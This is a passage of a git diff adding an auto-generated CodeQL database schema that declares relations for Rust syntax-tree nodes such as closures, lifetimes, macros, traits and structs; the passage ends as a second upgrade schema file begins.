index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_expandeds( + int id: @macro_call ref, + int expanded: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/rust.dbscheme b/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/rust.dbscheme new file mode 100644 index 000000000000..2df29df1bf8f --- /dev/null +++ b/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/rust.dbscheme @@ -0,0 +1,3612 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- 